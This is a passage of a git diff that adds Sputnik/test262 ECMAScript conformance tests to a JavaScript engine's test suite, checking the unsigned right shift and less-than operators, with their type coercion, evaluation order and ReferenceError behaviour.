+if (4294967295 >>> -22.1 !== 4194303) {
+ $ERROR('#11: 4294967295 >>> -22.1 === 4194303. Actual: ' + (4294967295 >>> -22.1));
+}
+
+//CHECK#12
+if (4294967295 >>> -21.1 !== 2097151) {
+ $ERROR('#12: 4294967295 >>> -21.1 === 2097151. Actual: ' + (4294967295 >>> -21.1));
+}
+
+//CHECK#13
+if (4294967295 >>> -20.1 !== 1048575) {
+ $ERROR('#13: 4294967295 >>> -20.1 === 1048575. Actual: ' + (4294967295 >>> -20.1));
+}
+
+//CHECK#14
+if (4294967295 >>> -19.1 !== 524287) {
+ $ERROR('#14: 4294967295 >>> -19.1 === 524287. Actual: ' + (4294967295 >>> -19.1));
+}
+
+//CHECK#15
+if (4294967295 >>> -18.1 !== 262143) {
+ $ERROR('#15: 4294967295 >>> -18.1 === 262143. Actual: ' + (4294967295 >>> -18.1));
+}
+
+//CHECK#16
+if (4294967295 >>> -17.1 !== 131071) {
+ $ERROR('#16: 4294967295 >>> -17.1 === 131071. Actual: ' + (4294967295 >>> -17.1));
+}
+
+//CHECK#17
+if (4294967295 >>> -16.1 !== 65535) {
+ $ERROR('#17: 4294967295 >>> -16.1 === 65535. Actual: ' + (4294967295 >>> -16.1));
+}
+
+//CHECK#18
+if (4294967295 >>> -15.1 !== 32767) {
+ $ERROR('#18: 4294967295 >>> -15.1 === 32767. Actual: ' + (4294967295 >>> -15.1));
+}
+
+//CHECK#19
+if (4294967295 >>> -14.1 !== 16383) {
+ $ERROR('#19: 4294967295 >>> -14.1 === 16383. Actual: ' + (4294967295 >>> -14.1));
+}
+
+//CHECK#20
+if (4294967295 >>> -13.1 !== 8191) {
+ $ERROR('#20: 4294967295 >>> -13.1 === 8191. Actual: ' + (4294967295 >>> -13.1));
+}
+
+//CHECK#21
+if (4294967295 >>> -12.1 !== 4095) {
+ $ERROR('#21: 4294967295 >>> -12.1 === 4095. Actual: ' + (4294967295 >>> -12.1));
+}
+
+//CHECK#22
+if (4294967295 >>> -11.1 !== 2047) {
+ $ERROR('#22: 4294967295 >>> -11.1 === 2047. Actual: ' + (4294967295 >>> -11.1));
+}
+
+//CHECK#23
+if (4294967295 >>> -10.1 !== 1023) {
+ $ERROR('#23: 4294967295 >>> -10.1 === 1023. Actual: ' + (4294967295 >>> -10.1));
+}
+
+//CHECK#24
+if (4294967295 >>> -9.1 !== 511) {
+ $ERROR('#24: 4294967295 >>> -9.1 === 511. Actual: ' + (4294967295 >>> -9.1));
+}
+
+//CHECK#25
+if (4294967295 >>> -8.1 !== 255) {
+ $ERROR('#25: 4294967295 >>> -8.1 === 255. Actual: ' + (4294967295 >>> -8.1));
+}
+
+//CHECK#26
+if (4294967295 >>> -7.1 !== 127) {
+ $ERROR('#26: 4294967295 >>> -7.1 === 127. Actual: ' + (4294967295 >>> -7.1));
+}
+
+//CHECK#27
+if (4294967295 >>> -6.1 !== 63) {
+ $ERROR('#27: 4294967295 >>> -6.1 === 63. Actual: ' + (4294967295 >>> -6.1));
+}
+
+//CHECK#28
+if (4294967295 >>> -5.1 !== 31) {
+ $ERROR('#28: 4294967295 >>> -5.1 === 31. Actual: ' + (4294967295 >>> -5.1));
+}
+
+//CHECK#29
+if (4294967295 >>> -4.1 !== 15) {
+ $ERROR('#29: 4294967295 >>> -4.1 === 15. Actual: ' + (4294967295 >>> -4.1));
+}
+
+//CHECK#30
+if (4294967295 >>> -3.1 !== 7) {
+ $ERROR('#30: 4294967295 >>> -3.1 === 7. Actual: ' + (4294967295 >>> -3.1));
+}
+
+//CHECK#31
+if (4294967295 >>> -2.1 !== 3) {
+ $ERROR('#31: 4294967295 >>> -2.1 === 3. Actual: ' + (4294967295 >>> -2.1));
+}
+
+//CHECK#32
+if (4294967295 >>> -1.1 !== 1) {
+ $ERROR('#32: 4294967295 >>> -1.1 === 1. Actual: ' + (4294967295 >>> -1.1));
+}
+
+//CHECK#33
+if (4294967295 >>> 32.1 !== 4294967295) {
+ $ERROR('#33: 4294967295 >>> 32.1 === 4294967295. Actual: ' + (4294967295 >>> 32.1));
+}
+
+//CHECK#34
+if (4294967295 >>> 33.1 !== 2147483647) {
+ $ERROR('#34: 4294967295 >>> 33.1 === 2147483647. Actual: ' + (4294967295 >>> 33.1));
+}
+
+//CHECK#35
+if (4294967295 >>> 34.1 !== 1073741823) {
+ $ERROR('#35: 4294967295 >>> 34.1 === 1073741823. Actual: ' + (4294967295 >>> 34.1));
+}
+
+//CHECK#36
+if (4294967295 >>> 35.1 !== 536870911) {
+ $ERROR('#36: 4294967295 >>> 35.1 === 536870911. Actual: ' + (4294967295 >>> 35.1));
+}
+
+//CHECK#37
+if (4294967295 >>> 36.1 !== 268435455) {
+ $ERROR('#37: 4294967295 >>> 36.1 === 268435455. Actual: ' + (4294967295 >>> 36.1));
+}
+
+//CHECK#38
+if (4294967295 >>> 37.1 !== 134217727) {
+ $ERROR('#38: 4294967295 >>> 37.1 === 134217727. Actual: ' + (4294967295 >>> 37.1));
+}
+
+//CHECK#39
+if (4294967295 >>> 38.1 !== 67108863) {
+ $ERROR('#39: 4294967295 >>> 38.1 === 67108863. Actual: ' + (4294967295 >>> 38.1));
+}
+
+//CHECK#40
+if (4294967295 >>> 39.1 !== 33554431) {
+ $ERROR('#40: 4294967295 >>> 39.1 === 33554431. Actual: ' + (4294967295 >>> 39.1));
+}
+
+//CHECK#41
+if (4294967295 >>> 40.1 !== 16777215) {
+ $ERROR('#41: 4294967295 >>> 40.1 === 16777215. Actual: ' + (4294967295 >>> 40.1));
+}
+
+//CHECK#42
+if (4294967295 >>> 41.1 !== 8388607) {
+ $ERROR('#42: 4294967295 >>> 41.1 === 8388607. Actual: ' + (4294967295 >>> 41.1));
+}
+
+//CHECK#43
+if (4294967295 >>> 42.1 !== 4194303) {
+ $ERROR('#43: 4294967295 >>> 42.1 === 4194303. Actual: ' + (4294967295 >>> 42.1));
+}
+
+//CHECK#44
+if (4294967295 >>> 43.1 !== 2097151) {
+ $ERROR('#44: 4294967295 >>> 43.1 === 2097151. Actual: ' + (4294967295 >>> 43.1));
+}
+
+//CHECK#45
+if (4294967295 >>> 44.1 !== 1048575) {
+ $ERROR('#45: 4294967295 >>> 44.1 === 1048575. Actual: ' + (4294967295 >>> 44.1));
+}
+
+//CHECK#46
+if (4294967295 >>> 45.1 !== 524287) {
+ $ERROR('#46: 4294967295 >>> 45.1 === 524287. Actual: ' + (4294967295 >>> 45.1));
+}
+
+//CHECK#47
+if (4294967295 >>> 46.1 !== 262143) {
+ $ERROR('#47: 4294967295 >>> 46.1 === 262143. Actual: ' + (4294967295 >>> 46.1));
+}
+
+//CHECK#48
+if (4294967295 >>> 47.1 !== 131071) {
+ $ERROR('#48: 4294967295 >>> 47.1 === 131071. Actual: ' + (4294967295 >>> 47.1));
+}
+
+//CHECK#49
+if (4294967295 >>> 48.1 !== 65535) {
+ $ERROR('#49: 4294967295 >>> 48.1 === 65535. Actual: ' + (4294967295 >>> 48.1));
+}
+
+//CHECK#50
+if (4294967295 >>> 49.1 !== 32767) {
+ $ERROR('#50: 4294967295 >>> 49.1 === 32767. Actual: ' + (4294967295 >>> 49.1));
+}
+
+//CHECK#51
+if (4294967295 >>> 50.1 !== 16383) {
+ $ERROR('#51: 4294967295 >>> 50.1 === 16383. Actual: ' + (4294967295 >>> 50.1));
+}
+
+//CHECK#52
+if (4294967295 >>> 51.1 !== 8191) {
+ $ERROR('#52: 4294967295 >>> 51.1 === 8191. Actual: ' + (4294967295 >>> 51.1));
+}
+
+//CHECK#53
+if (4294967295 >>> 52.1 !== 4095) {
+ $ERROR('#53: 4294967295 >>> 52.1 === 4095. Actual: ' + (4294967295 >>> 52.1));
+}
+
+//CHECK#54
+if (4294967295 >>> 53.1 !== 2047) {
+ $ERROR('#54: 4294967295 >>> 53.1 === 2047. Actual: ' + (4294967295 >>> 53.1));
+}
+
+//CHECK#55
+if (4294967295 >>> 54.1 !== 1023) {
+ $ERROR('#55: 4294967295 >>> 54.1 === 1023. Actual: ' + (4294967295 >>> 54.1));
+}
+
+//CHECK#56
+if (4294967295 >>> 55.1 !== 511) {
+ $ERROR('#56: 4294967295 >>> 55.1 === 511. Actual: ' + (4294967295 >>> 55.1));
+}
+
+//CHECK#57
+if (4294967295 >>> 56.1 !== 255) {
+ $ERROR('#57: 4294967295 >>> 56.1 === 255. Actual: ' + (4294967295 >>> 56.1));
+}
+
+//CHECK#58
+if (4294967295 >>> 57.1 !== 127) {
+ $ERROR('#58: 4294967295 >>> 57.1 === 127. Actual: ' + (4294967295 >>> 57.1));
+}
+
+//CHECK#59
+if (4294967295 >>> 58.1 !== 63) {
+ $ERROR('#59: 4294967295 >>> 58.1 === 63. Actual: ' + (4294967295 >>> 58.1));
+}
+
+//CHECK#60
+if (4294967295 >>> 59.1 !== 31) {
+ $ERROR('#60: 4294967295 >>> 59.1 === 31. Actual: ' + (4294967295 >>> 59.1));
+}
+
+//CHECK#61
+if (4294967295 >>> 60.1 !== 15) {
+ $ERROR('#61: 4294967295 >>> 60.1 === 15. Actual: ' + (4294967295 >>> 60.1));
+}
+
+//CHECK#62
+if (4294967295 >>> 61.1 !== 7) {
+ $ERROR('#62: 4294967295 >>> 61.1 === 7. Actual: ' + (4294967295 >>> 61.1));
+}
+
+//CHECK#63
+if (4294967295 >>> 62.1 !== 3) {
+ $ERROR('#63: 4294967295 >>> 62.1 === 3. Actual: ' + (4294967295 >>> 62.1));
+}
+
+//CHECK#64
+if (4294967295 >>> 63.1 !== 1) {
+ $ERROR('#64: 4294967295 >>> 63.1 === 1. Actual: ' + (4294967295 >>> 63.1));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/browser.js b/js/src/tests/test262/ch11/11.7/11.7.3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/browser.js
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/shell.js b/js/src/tests/test262/ch11/11.7/11.7.3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/shell.js
diff --git a/js/src/tests/test262/ch11/11.7/browser.js b/js/src/tests/test262/ch11/11.7/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/browser.js
diff --git a/js/src/tests/test262/ch11/11.7/shell.js b/js/src/tests/test262/ch11/11.7/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/shell.js
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A1.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A1.js
new file mode 100644
index 000000000..5203b7341
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between RelationalExpression and "<" or between "<" and ShiftExpression are allowed
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("0\u0009<\u00091") !== true) {
+ $ERROR('#1: (0\\u0009<\\u00091) === true');
+}
+
+//CHECK#2
+if (eval("0\u000B<\u000B1") !== true) {
+ $ERROR('#2: (0\\u000B<\\u000B1) === true');
+}
+
+//CHECK#3
+if (eval("0\u000C<\u000C1") !== true) {
+ $ERROR('#3: (0\\u000C<\\u000C1) === true');
+}
+
+//CHECK#4
+if (eval("0\u0020<\u00201") !== true) {
+ $ERROR('#4: (0\\u0020<\\u00201) === true');
+}
+
+//CHECK#5
+if (eval("0\u00A0<\u00A01") !== true) {
+ $ERROR('#5: (0\\u00A0<\\u00A01) === true');
+}
+
+//CHECK#6
+if (eval("0\u000A<\u000A1") !== true) {
+ $ERROR('#6: (0\\u000A<\\u000A1) === true');
+}
+
+//CHECK#7
+if (eval("0\u000D<\u000D1") !== true) {
+ $ERROR('#7: (0\\u000D<\\u000D1) === true');
+}
+
+//CHECK#8
+if (eval("0\u2028<\u20281") !== true) {
+ $ERROR('#8: (0\\u2028<\\u20281) === true');
+}
+
+//CHECK#9
+if (eval("0\u2029<\u20291") !== true) {
+ $ERROR('#9: (0\\u2029<\\u20291) === true');
+}
+
+//CHECK#10
+if (eval("0\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029<\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291") !== true) {
+ $ERROR('#10: (0\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029<\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.1_T1.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.1_T1.js
new file mode 100644
index 000000000..4bcd448cb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.1_T1.js
@@ -0,0 +1,43 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x < y uses GetValue
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A2.1_T1.js
+ * @description Either Type is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if (1 < 2 !== true) {
+ $ERROR('#1: 1 < 2 === true');
+}
+
+//CHECK#2
+var x = 1;
+if (x < 2 !== true) {
+ $ERROR('#2: var x = 1; x < 2 === true');
+}
+
+//CHECK#3
+var y = 2;
+if (1 < y !== true) {
+ $ERROR('#3: var y = 2; 1 < y === true');
+}
+
+//CHECK#4
+var x = 1;
+var y = 2;
+if (x < y !== true) {
+ $ERROR('#4: var x = 1; var y = 2; x < y === true');
+}
+
+//CHECK#5
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = 1;
+objecty.prop = 2;
+if (objectx.prop < objecty.prop !== true) {
+ $ERROR('#5: var objectx = new Object(); var objecty = new Object(); objectx.prop = 1; objecty.prop = 2; objectx.prop < objecty.prop === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.1_T2.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.1_T2.js
new file mode 100644
index 000000000..591c7a7a5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.1_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x < y uses GetValue
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x < 1;
+ $ERROR('#1.1: x < 1 throw ReferenceError. Actual: ' + (x < 1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x < 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.1_T3.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.1_T3.js
new file mode 100644
index 000000000..b71cac528
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.1_T3.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x < y uses GetValue
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A2.1_T3.js
+ * @description If GetBase(y) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ 1 < y;
+ $ERROR('#1.1: 1 < y throw ReferenceError. Actual: ' + (1 < y));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 < y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.2_T1.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.2_T1.js
new file mode 100644
index 000000000..8641cf4f2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.2_T1.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x < y uses [[Default Value]]
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A2.2_T1.js
+ * @description If Type(value) is Object, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+if ({valueOf: function() {return 0}} < 1 !== true) {
+ $ERROR('#1: {valueOf: function() {return 1}} < 1 === true. Actual: ' + ({valueOf: function() {return 1}} < 1));
+}
+
+//CHECK#2
+if ({valueOf: function() {return 0}, toString: function() {return 2}} < 1 !== true) {
+ $ERROR('#2: {valueOf: function() {return 1}, toString: function() {return 0}} < 1 === true. Actual: ' + ({valueOf: function() {return 1}, toString: function() {return 0}} < 1));
+}
+
+//CHECK#3
+if ({valueOf: function() {return 0}, toString: function() {return {}}} < 1 !== true) {
+ $ERROR('#3: {valueOf: function() {return 1}, toString: function() {return {}}} < 1 === true. Actual: ' + ({valueOf: function() {return 1}, toString: function() {return {}}} < 1));
+}
+
+//CHECK#4
+try {
+ if ({valueOf: function() {return 0}, toString: function() {throw "error"}} < 1 !== true) {
+ $ERROR('#4.1: {valueOf: function() {return 1}, toString: function() {throw "error"}} < 1 === true. Actual: ' + ({valueOf: function() {return 1}, toString: function() {throw "error"}} < 1));
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: {valueOf: function() {return 0}, toString: function() {throw "error"}} < 1 not throw "error"');
+ } else {
+ $ERROR('#4.3: {valueOf: function() {return 0}, toString: function() {throw "error"}} < 1 not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+if (1 < {toString: function() {return 2}} !== true) {
+ $ERROR('#5: 1 < {toString: function() {return 2}} === true. Actual: ' + (1 < {toString: function() {return 2}}));
+}
+
+//CHECK#6
+if (1 < {valueOf: function() {return {}}, toString: function() {return 2}} !== true) {
+ $ERROR('#6: 1 < {valueOf: function() {return {}}, toString: function() {return 2}} === true. Actual: ' + (1 < {valueOf: function() {return {}}, toString: function() {return 2}}));
+}
+
+//CHECK#7
+try {
+ 1 < {valueOf: function() {throw "error"}, toString: function() {return 2}};
+ $ERROR('#7.1: 1 < {valueOf: function() {throw "error"}, toString: function() {return 2}} throw "error". Actual: ' + (1 < {valueOf: function() {throw "error"}, toString: function() {return 2}}));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: 1 < {valueOf: function() {throw "error"}, toString: function() {return 2}} throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ 1 < {valueOf: function() {return {}}, toString: function() {return {}}};
+ $ERROR('#8.1: 1 < {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (1 < {valueOf: function() {return {}}, toString: function() {return {}}}));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: 1 < {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.3_T1.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.3_T1.js
new file mode 100644
index 000000000..9f7c478ca
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.3_T1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToNumber(first expression) is called first, and then ToNumber(second expression)
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A2.3_T1.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = { valueOf: function () { throw "x"; } };
+var y = { valueOf: function () { throw "y"; } };
+try {
+ x < y;
+ $ERROR('#1.1: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x < y throw "x". Actual: ' + (x < y));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: ToNumber(first expression) is called first, and then ToNumber(second expression)');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x < y throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.4_T1.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.4_T1.js
new file mode 100644
index 000000000..739640488
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.4_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var x = 1;
+if ((x = 0) < x !== false) {
+ $ERROR('#1: var x = 1; (x = 0) < x === false');
+}
+
+//CHECK#2
+var x = 0;
+if (x < (x = 1) !== true) {
+ $ERROR('#2: var x = 0; x < (x = 1) === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.4_T2.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.4_T2.js
new file mode 100644
index 000000000..acd8c1274
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() < y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() < y() throw "x". Actual: ' + (x() < y()));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() < y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.4_T3.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.4_T3.js
new file mode 100644
index 000000000..657ef95f2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A2.4_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A2.4_T3.js
+ * @description Checking with undeclarated variables
+ */
+
+//CHECK#1
+try {
+ x < (x = 1);
+ $ERROR('#1.1: x < (x = 1) throw ReferenceError. Actual: ' + (x < (x = 1)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x < (x = 1) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if ((y = 1) < y !== false) {
+ $ERROR('#2: (y = 1) < y === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T1.1.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T1.1.js
new file mode 100644
index 000000000..0d01c8f9f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T1.1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x < y returns ToNumber(x) < ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A3.1_T1.1.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+if (true < true !== false) {
+ $ERROR('#1: true < true === false');
+}
+
+//CHECK#2
+if (new Boolean(true) < true !== false) {
+ $ERROR('#2: new Boolean(true) < true === false');
+}
+
+//CHECK#3
+if (true < new Boolean(true) !== false) {
+ $ERROR('#3: true < new Boolean(true) === false');
+}
+
+//CHECK#4
+if (new Boolean(true) < new Boolean(true) !== false) {
+ $ERROR('#4: new Boolean(true) < new Boolean(true) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T1.2.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T1.2.js
new file mode 100644
index 000000000..afec980fd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T1.2.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x < y returns ToNumber(x) < ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A3.1_T1.2.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between primitive number and Number object
+ */
+
+//CHECK#1
+if (1 < 1 !== false) {
+ $ERROR('#1: 1 < 1 === false');
+}
+
+//CHECK#2
+if (new Number(1) < 1 !== false) {
+ $ERROR('#2: new Number(1) < 1 === false');
+}
+
+//CHECK#3
+if (1 < new Number(1) !== false) {
+ $ERROR('#3: 1 < new Number(1) === false');
+}
+
+//CHECK#4
+if (new Number(1) < new Number(1) !== false) {
+ $ERROR('#4: new Number(1) < new Number(1) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T1.3.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T1.3.js
new file mode 100644
index 000000000..7964cd27d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T1.3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x < y returns ToNumber(x) < ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A3.1_T1.3.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between Null and Undefined
+ */
+
+//CHECK#1
+if (null < undefined !== false) {
+ $ERROR('#1: null < undefined === false');
+}
+
+//CHECK#2
+if (undefined < null !== false) {
+ $ERROR('#2: undefined < null === false');
+}
+
+//CHECK#3
+if (undefined < undefined !== false) {
+ $ERROR('#3: undefined < undefined === false');
+}
+
+//CHECK#4
+if (null < null !== false) {
+ $ERROR('#4: null < null === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.1.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.1.js
new file mode 100644
index 000000000..acbeb65db
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x < y returns ToNumber(x) < ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A3.1_T2.1.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types are Number (primitive or object) or Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true < 1 !== false) {
+ $ERROR('#1: true < 1 === false');
+}
+
+//CHECK#2
+if (1 < true !== false) {
+ $ERROR('#2: 1 < true === false');
+}
+
+//CHECK#3
+if (new Boolean(true) < 1 !== false) {
+ $ERROR('#3: new Boolean(true) < 1 === false');
+}
+
+//CHECK#4
+if (1 < new Boolean(true) !== false) {
+ $ERROR('#4: 1 < new Boolean(true) === false');
+}
+
+//CHECK#5
+if (true < new Number(1) !== false) {
+ $ERROR('#5: true < new Number(1) === false');
+}
+
+//CHECK#6
+if (new Number(1) < true !== false) {
+ $ERROR('#6: new Number(1) < true === false');
+}
+
+//CHECK#7
+if (new Boolean(true) < new Number(1) !== false) {
+ $ERROR('#7: new Boolean(true) < new Number(1) === false');
+}
+
+//CHECK#8
+if (new Number(1) < new Boolean(true) !== false) {
+ $ERROR('#8: new Number(1) < new Boolean(true) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.2.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.2.js
new file mode 100644
index 000000000..e67f1c50a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
